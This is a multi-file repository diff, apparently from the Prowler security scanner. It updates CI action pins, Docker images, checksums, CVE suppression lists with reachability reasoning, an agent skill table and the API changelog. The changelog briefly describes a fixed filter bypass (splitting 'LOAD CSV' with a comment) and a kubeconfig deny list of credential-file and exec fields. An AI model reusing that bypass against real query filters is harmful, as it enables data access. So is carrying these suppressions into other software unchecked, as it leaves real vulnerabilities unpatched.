+      # A worker that crashes on import or a connection test that never resolves
+      # only shows up here; Playwright just reports a missing footer button.
+      - name: Dump API service logs
+        if: failure()
+        run: docker compose logs --no-color --tail=300 api worker worker-beat || true
+
      - name: Upload test reports
-        uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f # v7.0.0
+        uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
        if: failure()
        with:
          name: playwright-report
@@ -417,7 +426,7 @@ jobs:
      contents: read
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

@@ -439,7 +448,7 @@ jobs:
      contents: read
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

@@ -32,7 +32,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -45,7 +45,7 @@ jobs:
            osv-vulnerabilities.storage.googleapis.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -21,7 +21,10 @@ permissions: {}

 jobs:
  ui-tests:
-    runs-on: ubuntu-latest
+    # ubuntu-latest is moving to 26.04 (rollout began October 19, 2026; completion
+    # targeted for November 19, 2026), where `playwright install` refuses to install
+    # Chromium for the pinned Playwright. Stay on 24.04 until the suite upgrades.
+    runs-on: ubuntu-24.04
    timeout-minutes: 20
    permissions:
      contents: read
@@ -31,7 +34,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -50,7 +53,7 @@ jobs:
            playwright.download.prss.microsoft.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -99,7 +102,7 @@ jobs:

      - name: Setup Node.js
        if: steps.check-changes.outputs.any_changed == 'true'
-        uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0
+        uses: actions/setup-node@249970729cb0ef3589644e2896645e5dc5ba9c38 # v6.5.0
        with:
          node-version-file: 'ui/.nvmrc'

@@ -117,7 +120,7 @@ jobs:

      - name: Setup pnpm and Next.js cache
        if: steps.check-changes.outputs.any_changed == 'true'
-        uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
+        uses: actions/cache@caa296126883cff596d87d8935842f9db880ef25 # v5.1.0
        with:
          path: |
            ${{ env.STORE_PATH }}
@@ -136,10 +139,6 @@ jobs:
        if: steps.check-changes.outputs.any_changed == 'true'
        run: pnpm run healthcheck

-      - name: Check product-tour alignment
-        if: steps.check-changes.outputs.any_changed == 'true'
-        run: pnpm run tour:check
-
      - name: Run pnpm audit
        if: steps.check-changes.outputs.any_changed == 'true'
        run: pnpm run audit
@@ -171,7 +170,7 @@ jobs:
      - name: Cache Playwright browsers
        if: steps.check-changes.outputs.any_changed == 'true'
        id: playwright-cache
-        uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
+        uses: actions/cache@caa296126883cff596d87d8935842f9db880ef25 # v5.1.0
        with:
          path: ~/.cache/ms-playwright
          key: ${{ runner.os }}-playwright-chromium-${{ hashFiles('ui/pnpm-lock.yaml') }}
@@ -7,66 +7,19 @@

 ignore:

-  # Modules compiled into the Trivy binary we ship.
-  # Only a Trivy rebuild by its vendor can change these; the version is pinned in our Dockerfile.
-  # CVE-2026-71556 is the same temporary exception documented in .trivyignore.yaml:
-  # Trivy 0.73.0 still embeds go-git 5.19.1, while the 5.19.2 fix is merged only on
-  # Trivy main. Remove this entry with the Trivy exception by 2026-09-15.
-  # https://github.com/aquasecurity/trivy/blob/v0.73.0/go.mod#L46
-  # https://github.com/aquasecurity/trivy/commit/a2edba9a03987ba0d2ebc8212c1a9a1e6979497b
-  - vulnerability: CVE-2026-71556
-    package:
-      name: github.com/go-git/go-git/v5
-  # CVE-2026-84304 is the same temporary exception documented in .trivyignore.yaml:
-  # Trivy 0.74.0 still embeds grpc 1.82.1, while the 1.83.1 fix is not in any release.
-  # Prowler only runs `trivy image` / `trivy fs`, never client/server mode, so no gRPC
-  # endpoint exists in the image. Pinned to the embedded version so the rule stops
-  # matching on its own once Trivy bumps grpc. Remove with the Trivy exception by 2026-10-15.
-  # https://github.com/aquasecurity/trivy/pull/11176
-  - vulnerability: CVE-2026-84304
-    package:
-      name: google.golang.org/grpc
-      version: v1.82.1
-  # CVE-2026-84445 is the same temporary exception documented in .trivyignore.yaml:
-  # Trivy 0.74.0 still embeds grpc 1.82.1, while the 1.82.2 / 1.83.2 fix is not in any
-  # release. The panic needs a gRPC server built with `xds.NewGRPCServer()`; Prowler only
-  # runs `trivy image` / `trivy fs`, so the image serves no gRPC at all. Pinned to the
-  # embedded version so the rule stops matching on its own once Trivy bumps grpc. Remove
-  # with the Trivy exception by 2026-10-15.
-  # https://github.com/advisories/GHSA-2v4p-qf9q-27wj
-  - vulnerability: CVE-2026-84445
-    package:
-      name: google.golang.org/grpc
-      version: v1.82.1
-  # CVE-2026-56855 / CVE-2026-78662 are the same temporary exception documented in
-  # .trivyignore.yaml: Trivy 0.74.0 still embeds golang.org/x/crypto v0.55.0, while the
-  # 0.56.0 fix (published 2026-09-02) hasn't reached any Trivy release, or even Trivy
-  # main, yet. Pinned to the embedded version so the rule stops matching on its own once
-  # Trivy bumps it. Remove with the Trivy exception by 2026-10-15.
-  - vulnerability: CVE-2026-56855
-    package:
-      name: golang.org/x/crypto
-      version: v0.55.0
-  - vulnerability: CVE-2026-78662
-    package:
-      name: golang.org/x/crypto
-      version: v0.55.0
-  - vulnerability: CVE-2026-56852
-    package:
-      name: golang.org/x/text
-  - vulnerability: GHSA-hrxh-6v49-42gf
-    package:
-      name: google.golang.org/grpc
-  - vulnerability: CVE-2026-50151
-    package:
-      name: oras.land/oras-go/v2
-
  # Shipped inside the PowerShell tarball, in its bundled MicrosoftTeams module.
  # Not a dependency we declare, and not one we can upgrade independently.
  - vulnerability: CVE-2026-26127
    package:
      name: Microsoft.Bcl.Memory

+  # Documented in .trivyignore.yaml: ships inside ExchangeOnlineManagement
+  # 3.10.1, the latest gallery release. Re-check on the next EXO release.
+  - vulnerability: CVE-2026-84008
+    package:
+      name: System.Security.Cryptography.Pkcs
+      version: 10.0.0
+
  # The .NET runtime bundled inside the PowerShell tarball the Dockerfile pins.
  # CVE-2026-62901 is the same temporary exception documented in .trivyignore.yaml:
  # fixed in .NET 9.0.19 / 10.0.11 (2026-08-11), but no published PowerShell release
@@ -127,17 +80,25 @@ ignore:
    package:
      name: python

-  # zlib in the Alpine base images of the UI (node:24.18.1-alpine) and MCP
-  # (python:3.13.14-alpine3.23) containers. CVE-2026-85091 is a heap overflow in
-  # gz_vacate() reached only through non-blocking gzwrite() followed by gzprintf() after
-  # a write stall. Node links its own bundled zlib and the MCP server never writes gzip
-  # files, so neither image calls that path. TEMPORARY: the 1.3.2-r1 fix is in the
-  # Alpine index and could be taken with `apk add --upgrade`, but we wait for the base
-  # images to ship it instead (the newest node:24-alpine and python:3.13-alpine3.23 still
-  # carry 1.3.2-r0). Pinned to that version so the rule stops matching on its own once a
-  # base image moves forward. Remove when the base digests are bumped, by 2026-11-07.
+  # zlib in the Alpine base image of the MCP (python:3.13.16-alpine3.23) container.
+  # CVE-2026-85091 is a heap overflow in gz_vacate() reached only through non-blocking
+  # gzwrite() followed by gzprintf() after a write stall; the MCP server never writes
+  # gzip files, so the image never calls that path. The UI image no longer needs this:
+  # node:24.22.1-alpine is built on Alpine 3.24 and ships 1.3.2-r1. TEMPORARY: the fix
+  # landed in the 3.23 index on 2026-10-06, two days after the pinned python image was
+  # built, and could be taken with `apk add --upgrade`, but we wait for the base image
+  # to ship it instead (python:3.13.17-alpine3.23, built 2026-10-22, already does).
+  # Pinned to that version so the rule stops matching on its own once the base image
+  # moves forward. Remove when the MCP digest is bumped, by 2026-11-07.
  # https://security.alpinelinux.org/vuln/CVE-2026-85091
  - vulnerability: CVE-2026-85091
    package:
      name: zlib
      version: 1.3.2-r0
+
+  # Documented in .trivyignore.yaml: go-jose 4.1.5 compiled into the Trivy binary (0.76.1,
+  # the latest release). Pinned to 4.1.5 so it stops matching with the next Trivy bump.
+  - vulnerability: CVE-2026-116587
+    package:
+      name: github.com/go-jose/go-jose/v4
+      version: v4.1.5
@@ -108,6 +108,23 @@ vulnerabilities:
    purls:
      - "pkg:nuget/System.Security.Cryptography.Xml"
    expired_at: 2027-01-31
+  # Same manifest, pinned to 8.0.4: PowerShell's own copy is also flagged by these CVEs.
+  - id: CVE-2026-96222
+    purls:
+      - "pkg:nuget/System.Security.Cryptography.Xml@8.0.4"
+    expired_at: 2027-01-31
+  - id: CVE-2026-96958
+    purls:
+      - "pkg:nuget/System.Security.Cryptography.Xml@8.0.4"
+    expired_at: 2027-01-31
+  - id: CVE-2026-96959
+    purls:
+      - "pkg:nuget/System.Security.Cryptography.Xml@8.0.4"
+    expired_at: 2027-01-31
+  - id: CVE-2026-96960
+    purls:
+      - "pkg:nuget/System.Security.Cryptography.Xml@8.0.4"
+    expired_at: 2027-01-31
  - id: CVE-2026-13676
    purls:
      - "pkg:npm/fast-uri"
@@ -180,76 +197,40 @@ vulnerabilities:
    purls:
      - "pkg:npm/%40modelcontextprotocol%2Fsdk@1.27.1"
    expired_at: 2027-01-31
+  # Two more SDK declarations and follow-redirects 1.16.0 from the same manifest. The SDK
+  # entries stay pinned to 1.27.1 for the reason above. No lock in this repo lists
+  # follow-redirects, so its pin only keeps a future real dependency from being hidden.
+  - id: CVE-2026-111767
+    purls:
+      - "pkg:npm/%40modelcontextprotocol%2Fsdk@1.27.1"
+    expired_at: 2027-01-31
+  - id: CVE-2026-111768
+    purls:
+      - "pkg:npm/%40modelcontextprotocol%2Fsdk@1.27.1"
+    expired_at: 2027-01-31
+  - id: CVE-2026-111755
+    purls:
+      - "pkg:npm/follow-redirects@1.16.0"
+    expired_at: 2027-01-31
+  - id: CVE-2026-111756
+    purls:
+      - "pkg:npm/follow-redirects@1.16.0"
+    expired_at: 2027-01-31

-  # CVE-2026-84304 is a DoS in grpc-go <= 1.83.0: a peer fragments a gRPC stream into
-  # millions of tiny HTTP/2 DATA frames until the receiver runs out of heap. Fixed in
-  # 1.83.1 (published 2026-09-01). Trivy 0.74.0, the latest published release and the
-  # version the images ship, pins 1.82.1 as an indirect dependency:
-  # https://github.com/aquasecurity/trivy/blob/v0.74.0/go.mod
-  # Upstream bump still open: https://github.com/aquasecurity/trivy/pull/11176
-  # Trivy only speaks gRPC in client/server mode (`trivy server`, `--server`). Prowler
-  # invokes it exclusively as `trivy image` and `trivy fs` on a local path, so no gRPC
-  # listener or connection ever exists in the image and the affected path is not
-  # reachable. Remove this temporary suppression as soon as a Trivy release pins
-  # grpc >= 1.83.1.
-  - id: CVE-2026-84304
+  # Unlike the manifest entries above, this DLL ships in the image:
+  # ExchangeOnlineManagement/3.10.1/netCore/System.Security.Cryptography.Pkcs.dll. It is a
+  # DoS in CMS/PKCS parsing; Prowler only feeds it the tenant's own certificate. 3.10.1 is
+  # the latest gallery release, so only Microsoft can update it. Re-check on the next EXO
+  # release.
+  - id: CVE-2026-84008
    purls:
-      - "pkg:golang/google.golang.org/grpc"
-    expired_at: 2026-10-15
+      - "pkg:nuget/System.Security.Cryptography.Pkcs@10.0.0"
+    expired_at: 2026-12-15

-  # CVE-2026-84445 is a DoS in grpc-go servers built with `xds.NewGRPCServer()`: a request
-  # carrying neither `:authority` nor `Host` reaches the xDS routing interceptor, which
-  # indexes an empty slice of authorities and panics. The per-RPC goroutine does not
-  # recover, so the whole server process dies. Fixed in 1.82.2 and 1.83.2 (published
-  # 2026-09-08). Trivy 0.74.0, the latest published release and the version the images
-  # ship, pins 1.82.1 as an indirect dependency:
-  # https://github.com/aquasecurity/trivy/blob/v0.74.0/go.mod
-  # Trivy main already carries 1.83.2, but no published release includes it yet.
-  # The reachability argument is the one made for CVE-2026-84304 above, only narrower:
-  # this panic needs an xDS-managed gRPC server. Prowler invokes Trivy exclusively as
-  # `trivy image` and `trivy fs` on a local path, never `trivy server`, so the image runs
-  # no gRPC server at all, xDS or otherwise. Remove this temporary suppression as soon as
-  # a Trivy release pins grpc >= 1.83.2.
-  # https://github.com/advisories/GHSA-2v4p-qf9q-27wj
-  - id: CVE-2026-84445
+  # go-jose 4.1.5 is compiled into the Trivy binary (usr/local/bin/trivy). Trivy merged the
+  # 4.1.6 bump upstream (aquasecurity/trivy#11488) but 0.76.1 is still the latest release.
+  # Bump TRIVY_VERSION and drop this entry once a release ships it.
+  - id: CVE-2026-116587
    purls:
-      - "pkg:golang/google.golang.org/grpc@v1.82.1"
-    expired_at: 2026-10-15
-
-  # CVE-2026-56855 and CVE-2026-78662 are DoS deadlocks in x/crypto/ssh: a malicious peer
-  # can flood or misuse channel messages (RFC 4254) to block the whole connection.
-  # Fixed in golang.org/x/crypto v0.56.0 (published 2026-09-02). Trivy 0.74.0, the latest
-  # published release and the version the images ship, still pins v0.55.0, and Trivy main
-  # has not bumped it either:
-  # https://github.com/aquasecurity/trivy/blob/v0.74.0/go.mod
-  # x/crypto/ssh is pulled in transitively through go-git's ssh transport, the same
-  # dependency chain as the CVE-2026-71556 entry above. Prowler invokes Trivy only with
-  # `fs` on an existing local path or with `image`; it never asks Trivy to clone over SSH
-  # or to run `trivy server`, so no SSH connection -- as client or server -- ever exists in
-  # the image and the affected code path is not reachable. Remove this temporary
-  # suppression as soon as a fixed Trivy release is available.
-  - id: CVE-2026-56855
-    purls:
-      - "pkg:golang/golang.org/x/crypto@v0.55.0"
-    expired_at: 2026-10-15
-  - id: CVE-2026-78662
-    purls:
-      - "pkg:golang/golang.org/x/crypto@v0.55.0"
-    expired_at: 2026-10-15
-
-  - id: CVE-2026-56852
-    purls:
-      - "pkg:golang/golang.org/x/text"
-    expired_at: 2026-12-31
-  - id: GHSA-hrxh-6v49-42gf
-    purls:
-      - "pkg:golang/google.golang.org/grpc"
-    expired_at: 2026-12-31
-  - id: CVE-2026-50151
-    purls:
-      - "pkg:golang/oras.land/oras-go/v2"
-    expired_at: 2026-12-31
-  - id: CVE-2026-50163
-    purls:
-      - "pkg:golang/oras.land/oras-go/v2"
-    expired_at: 2026-12-31
+      - "pkg:golang/github.com/go-jose/go-jose/v4@v4.1.5"
+    expired_at: 2026-11-20
@@ -51,7 +51,6 @@ Use these skills for detailed patterns on-demand:
 | `django-migration-psql` | Django migration best practices for PostgreSQL | [SKILL.md](skills/django-migration-psql/SKILL.md) |
 | `postgresql-indexing` | PostgreSQL indexing, EXPLAIN, monitoring, maintenance | [SKILL.md](skills/postgresql-indexing/SKILL.md) |
 | `prowler-attack-paths-query` | Create Attack Paths openCypher queries | [SKILL.md](skills/prowler-attack-paths-query/SKILL.md) |
-| `prowler-tour` | Keep product-tour definitions aligned with the UI | [SKILL.md](skills/prowler-tour/SKILL.md) |
 | `gh-aw` | GitHub Agentic Workflows (gh-aw) | [SKILL.md](skills/gh-aw/SKILL.md) |
 | `skill-creator` | Create new AI agent skills | [SKILL.md](skills/skill-creator/SKILL.md) |

@@ -69,12 +68,10 @@ When performing these actions, ALWAYS invoke the corresponding skill FIRST:
 | Adding new providers | `prowler-provider` |
 | Adding privilege escalation detection queries | `prowler-attack-paths-query` |
 | Adding services to existing providers | `prowler-provider` |
-| Adding, updating, or removing a tour definition (*.tour.ts) | `prowler-tour` |
 | After creating/modifying a skill | `skill-sync` |
 | App Router / Server Actions | `nextjs-16` |
 | Auditing check-to-requirement mappings as a cloud auditor | `prowler-compliance` |
 | Building AI chat features | `ai-sdk-5` |
-| Changing button labels or section headings on a tour-covered page | `prowler-tour` |
 | Committing changes | `prowler-commit` |
 | Configuring MCP servers in agentic workflows | `gh-aw` |
 | Create PR that requires changelog entry | `prowler-changelog` |
@@ -94,7 +91,6 @@ When performing these actions, ALWAYS invoke the corresponding skill FIRST:
 | Creating/updating compliance frameworks | `prowler-compliance` |
 | Debug why a GitHub Actions job is failing | `prowler-ci` |
 | Debugging gh-aw compilation errors | `gh-aw` |
-| Editing a UI file containing data-tour-id attributes | `prowler-tour` |
 | Fill .github/pull_request_template.md (Context/Description/Steps to review/Checklist) | `prowler-pr` |
 | Fixing bug | `tdd` |
 | Fixing compliance JSON bugs (duplicate IDs, empty Section, stale refs) | `prowler-compliance` |
@@ -111,8 +107,6 @@ When performing these actions, ALWAYS invoke the corresponding skill FIRST:
 | Modifying gh-aw workflow frontmatter or safe-outputs | `gh-aw` |
 | Refactoring code | `tdd` |
 | Regenerate AGENTS.md Auto-invoke tables (sync.sh) | `skill-sync` |
-| Renaming or removing a data-tour-id attribute value | `prowler-tour` |
-| Restructuring routes or layouts covered by a tour | `prowler-tour` |
 | Review PR requirements: template, title conventions, changelog gate | `prowler-pr` |
 | Review changelog format and conventions | `prowler-changelog` |
 | Reviewing JSON:API compliance | `jsonapi` |
@@ -1,24 +1,24 @@
-FROM python:3.12.13-slim-trixie@sha256:57cd7c3a7a273101a6485ba99423ee568157882804b1124b4dd04266317710de AS build
+FROM python:3.12.16-slim-trixie@sha256:8523d6abeb48ceae0b7240d30c5808fc26cb79c1a635bacdf19cf3baecfbec07 AS build

 LABEL maintainer="https://github.com/prowler-cloud/prowler"
 LABEL org.opencontainers.image.source="https://github.com/prowler-cloud/prowler"

-ARG POWERSHELL_VERSION=7.5.11
+ARG POWERSHELL_VERSION=7.5.12
 ENV POWERSHELL_VERSION=${POWERSHELL_VERSION}
 # Opt out of PowerShell telemetry (Application Insights -> dc.services.visualstudio.com)
 ENV POWERSHELL_TELEMETRY_OPTOUT=1

-ARG TRIVY_VERSION=0.74.0
+ARG TRIVY_VERSION=0.76.1
 ENV TRIVY_VERSION=${TRIVY_VERSION}

 ARG ZIZMOR_VERSION=1.24.1
 ENV ZIZMOR_VERSION=${ZIZMOR_VERSION}

 # Pinned here, not fetched with the artefact: a compromised release ships its own checksum.
-ARG TRIVY_SHA256_AMD64=2ae6fe3ee734b7fdf11335663e18c75ea12dccc76062f09f164a3b0f8be4371a
-ARG TRIVY_SHA256_ARM64=b94ce1976bbf3c15b514b605ee88be7c6d94a29be2302847ff01cb794d47aad5
-ARG POWERSHELL_SHA256_AMD64=82a8b13d92b0f3ae48e56cf2f3f7961679371736ca90145ca71617c2913ba9d8
-ARG POWERSHELL_SHA256_ARM64=830ebda118c731ece3fa7e6b7e8573a21346387cbbca5b2f5e3b9bfe24f96672
+ARG TRIVY_SHA256_AMD64=c7cbe3137fb8a48a17574bede3dd6beb16742d1e9772929940fc90082c39d9c0
+ARG TRIVY_SHA256_ARM64=e174dff2a6dba5e3ae41f8d0537a6324405bd08132497340304c6b20e0f16a1f
+ARG POWERSHELL_SHA256_AMD64=db85ae1f45005ffd20e456890585167257151fa99406ccd7ab344f7cf3a766fd
+ARG POWERSHELL_SHA256_ARM64=29eb382cd510e4bd246902650ff6cf9f3b56f959d1bd0be75e0a1e425177c831
 ARG ZIZMOR_SHA256_AMD64=a8000f3c683319a523d3b20df0e75457ba591f049cfcbfa98966631b56733c03
 ARG ZIZMOR_SHA256_ARM64=d66e37ef8a375fb07939c630ebf9709a6e0f20242bdc3faf672a7ed97e0b768d

@@ -30,6 +30,7 @@ ARG ZIZMOR_SHA256_ARM64=d66e37ef8a375fb07939c630ebf9709a6e0f20242bdc3faf672a7ed9
 #   perl-base 5.40.1-6+deb13u1  CVE-2026-42497, -48962, -57432
 #   libssh2-1t64 1.11.1-1+deb13u2  CVE-2026-58050
 #   libpcre2-8-0 10.46-1~deb13u2  CVE-2026-86145, -89161
+#   libbrotli1 1.1.0-2+deb13u1  CVE-2026-111497
 # Taken as a targeted --only-upgrade rather than by moving the digest: the newest
 # published python:3.12-slim-trixie carries the same vulnerable versions. The three
 # openssl packages are flagged separately, so all are named.
@@ -40,7 +41,7 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
    build-essential pkg-config libzstd-dev zlib1g-dev \
    && apt-get install -y --no-install-recommends --only-upgrade \
       util-linux libssl3t64 openssl openssl-provider-legacy \
-       libsqlite3-0 gzip perl-base libssh2-1t64 libpcre2-8-0 \
+       libsqlite3-0 gzip perl-base libssh2-1t64 libpcre2-8-0 libbrotli1 \
    && rm -rf /var/lib/apt/lists/*

 # Install PowerShell
@@ -121,13 +122,15 @@ ENV HOME='/home/prowler'
 ENV PATH="${HOME}/.local/bin:${PATH}"
 #hadolint ignore=DL3013
 RUN pip install --no-cache-dir --upgrade pip && \
-    pip install --no-cache-dir uv==0.12.0
+    pip install --no-cache-dir uv==0.13.4

 RUN uv sync --locked --compile-bytecode && \
    rm -rf ~/.cache/uv

-# Install PowerShell modules
-RUN .venv/bin/python prowler/providers/m365/lib/powershell/m365_powershell.py
+# Install PowerShell modules. Drop the MicrosoftTeams build SBOM: Trivy reports the npm
+# tooling it declares as installed, though none ships (see .trivyignore.yaml).
+RUN .venv/bin/python prowler/providers/m365/lib/powershell/m365_powershell.py && \
+    rm -rf "${HOME}"/.local/share/powershell/Modules/MicrosoftTeams/*/_manifest

 USER root

@@ -167,7 +167,7 @@ runs:

    - name: Upload SARIF to GitHub Code Scanning
      if: always() && inputs.upload-sarif == 'true' && steps.find-sarif.outputs.sarif_path != ''
-      uses: github/codeql-action/upload-sarif@68bde559dea0fdcac2102bfdf6230c5f70eb485e # v4.35.4
+      uses: github/codeql-action/upload-sarif@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1
      with:
        sarif_file: ${{ steps.find-sarif.outputs.sarif_path }}
        category: ${{ inputs.sarif-category }}
@@ -4,6 +4,55 @@ All notable changes to the **Prowler API** are documented in this file.

 <!-- changelog: release notes start -->

+## [1.48.0] (Prowler v5.47.0)
+
+### 🔐 Security
+
+- pymongo to 4.18.3, dnspython to 2.9.0 and oauthlib to 4.0.0 in the API container image, with django-allauth from 65.15.0 to 65.19.7 because earlier releases cap oauthlib below 4, patching the BSON decoding and DNS compression pointer denial of service advisories and the OAuth device flow token disclosure [(#13185)](https://github.com/prowler-cloud/prowler/pull/13185)
+
+---
+
+## [1.47.0] (Prowler v5.46.0)
+
+### 🐞 Fixed
+
+- Compliance report PDF cover table wraps every value, so long account IDs such as OCI tenancy OCIDs no longer overflow their cell [(#13063)](https://github.com/prowler-cloud/prowler/pull/13063)
+- Scan ingestion compares the serialized resource metadata with the stored value and serializes sets in a stable order, so unchanged resources no longer get their metadata, details and updated_at rewritten on every scan [(#13148)](https://github.com/prowler-cloud/prowler/pull/13148)
+- Report generation shares the parsed resource metadata between the findings of a batch and releases each batch before building the next one [(#13149)](https://github.com/prowler-cloud/prowler/pull/13149)
+
+### 🔐 Security
+
+- `GET /resources/metadata`, `GET /resources/metadata/latest`, `GET /findings/metadata` and `GET /findings/metadata/latest` now honour the provider groups of the caller role instead of aggregating every provider in the tenant [(#12964)](https://github.com/prowler-cloud/prowler/pull/12964)
+- Trivy from 0.75.0 to 0.76.0 in the API container image, built with Go 1.27.2 and x/net 0.60.0, patching the HTTP/2 and TLS CVEs bundled in Trivy 0.75.0 [(#13064)](https://github.com/prowler-cloud/prowler/pull/13064)
+- Pillow from 12.3.0 to 13.0.0, certifi to 2026.10.19, aiohttp to 3.14.5 with yarl 1.25.1, uv to 0.13.4 and Trivy to 0.76.1 in the API container image, patching the Pillow JPEG decoder heap overflow, the compromised emSign root CAs bundled in certifi and uv, the aiohttp resource exhaustion advisories and the Go 1.27.2 stdlib CVE in the Trivy binary [(#13107)](https://github.com/prowler-cloud/prowler/pull/13107)
+- Attack Paths custom queries strip block comments before the blocked-operation check and drop APOC virtual nodes and relationships from results, so `LOAD CSV` can no longer be split with a comment nor its response returned under a forged provider label [(#13120)](https://github.com/prowler-cloud/prowler/pull/13120)
+- SAML SSO configuration endpoints require the `manage_account` permission instead of `manage_integrations`, since the configured IdP controls who signs in and which role they receive [(#13121)](https://github.com/prowler-cloud/prowler/pull/13121)
+- djangorestframework from 3.15.2 to 3.18.3 in the API, patching the JSON parser charset and Accept header denial of service and the TokenProxy revocation bypass, and the API container image no longer ships the MicrosoftTeams build SBOM that Trivy read as installed zod and body-parser [(#13157)](https://github.com/prowler-cloud/prowler/pull/13157)
+
+---
+
+## [1.46.0] (Prowler v5.45.0)
+
+### 🐞 Fixed
+
+- OCI provider secrets keep the region as home region for credential validation and scans, instead of always using us-ashburn-1 [(#12865)](https://github.com/prowler-cloud/prowler/pull/12865)
+- Gunicorn workers are now recycled after 10000 requests (plus up to 1000 of jitter) to cap memory growth, configurable with `GUNICORN_MAX_REQUESTS` and `GUNICORN_MAX_REQUESTS_JITTER` [(#13047)](https://github.com/prowler-cloud/prowler/pull/13047)
+
+### 🔐 Security
+
+- `pyjwt` from 2.13.0 to 2.14.0, patching GHSA-ffc3-869f-jxw9 [(#12911)](https://github.com/prowler-cloud/prowler/pull/12911)
+- Sentry error events no longer include user identity, IP addresses, cookies, headers or request bodies, which could contain personal data or provider credentials [(#12912)](https://github.com/prowler-cloud/prowler/pull/12912)
+- Kubernetes kubeconfig validation accepts only inline credentials and known cluster fields, rejecting file-path fields (`tokenFile`, `client-certificate`, `client-key`, `certificate-authority`), command-based authentication (`exec`, `cmd-path`), `auth-provider` directives, proxy URLs and unknown user or cluster keys; stored kubeconfigs are re-validated before each scan and connection test [(#12952)](https://github.com/prowler-cloud/prowler/pull/12952)
+- `django` from 5.1.15 to 5.2.17, patching CVE-2026-15307 [(#12953)](https://github.com/prowler-cloud/prowler/pull/12953)
+- `dulwich` from 1.2.5 to 1.2.9, patching GHSA-5fqc-mrg8-w798, GHSA-8mcx-5rqc-vhmf, GHSA-8w8g-wq8h-fq33 and GHSA-cm62-gvxx-vmxx [(#12953)](https://github.com/prowler-cloud/prowler/pull/12953)
+- `urllib3` from 2.7.0 to 2.8.0, patching CVE-2026-97687 and CVE-2026-97689 [(#12953)](https://github.com/prowler-cloud/prowler/pull/12953)
+- `pymongo` from 4.15.1 to 4.18.2, patching CVE-2026-96748 and CVE-2026-96749 [(#12955)](https://github.com/prowler-cloud/prowler/pull/12955)
+- `GET /api/v1/users/{id}` no longer exposes another user's memberships, roles or tenant names from tenants other than the one in the request token [(#12965)](https://github.com/prowler-cloud/prowler/pull/12965)
+- Python base image from 3.12.13 to 3.12.15 and Trivy from 0.74.0 to 0.75.0 in the API container image, patching CVE-2026-19445, CVE-2026-19553 and the grpc-go and x/crypto CVEs bundled in Trivy [(#13009)](https://github.com/prowler-cloud/prowler/pull/13009)
+- PowerShell from 7.5.11 to 7.5.12 in the API container image, bundling .NET runtime 9.0.21 [(#13037)](https://github.com/prowler-cloud/prowler/pull/13037)
+
+---
+
 ## [1.45.0] (Prowler v5.44.0)

 ### 🚀 Added
@@ -1,23 +1,23 @@
-FROM python:3.12.13-slim-trixie@sha256:57cd7c3a7a273101a6485ba99423ee568157882804b1124b4dd04266317710de AS build
+FROM python:3.12.16-slim-trixie@sha256:8523d6abeb48ceae0b7240d30c5808fc26cb79c1a635bacdf19cf3baecfbec07 AS build

 LABEL maintainer="https://github.com/prowler-cloud/api"

-ARG POWERSHELL_VERSION=7.5.11
+ARG POWERSHELL_VERSION=7.5.12
 ENV POWERSHELL_VERSION=${POWERSHELL_VERSION}
 # Opt out of PowerShell telemetry (Application Insights -> dc.services.visualstudio.com)
 ENV POWERSHELL_TELEMETRY_OPTOUT=1

-ARG TRIVY_VERSION=0.74.0
+ARG TRIVY_VERSION=0.76.1
 ENV TRIVY_VERSION=${TRIVY_VERSION}

 ARG ZIZMOR_VERSION=1.24.1
 ENV ZIZMOR_VERSION=${ZIZMOR_VERSION}

 # Pinned here, not fetched with the artefact: a compromised release ships its own checksum.
-ARG TRIVY_SHA256_AMD64=2ae6fe3ee734b7fdf11335663e18c75ea12dccc76062f09f164a3b0f8be4371a
-ARG TRIVY_SHA256_ARM64=b94ce1976bbf3c15b514b605ee88be7c6d94a29be2302847ff01cb794d47aad5
-ARG POWERSHELL_SHA256_AMD64=82a8b13d92b0f3ae48e56cf2f3f7961679371736ca90145ca71617c2913ba9d8
-ARG POWERSHELL_SHA256_ARM64=830ebda118c731ece3fa7e6b7e8573a21346387cbbca5b2f5e3b9bfe24f96672
+ARG TRIVY_SHA256_AMD64=c7cbe3137fb8a48a17574bede3dd6beb16742d1e9772929940fc90082c39d9c0
+ARG TRIVY_SHA256_ARM64=e174dff2a6dba5e3ae41f8d0537a6324405bd08132497340304c6b20e0f16a1f
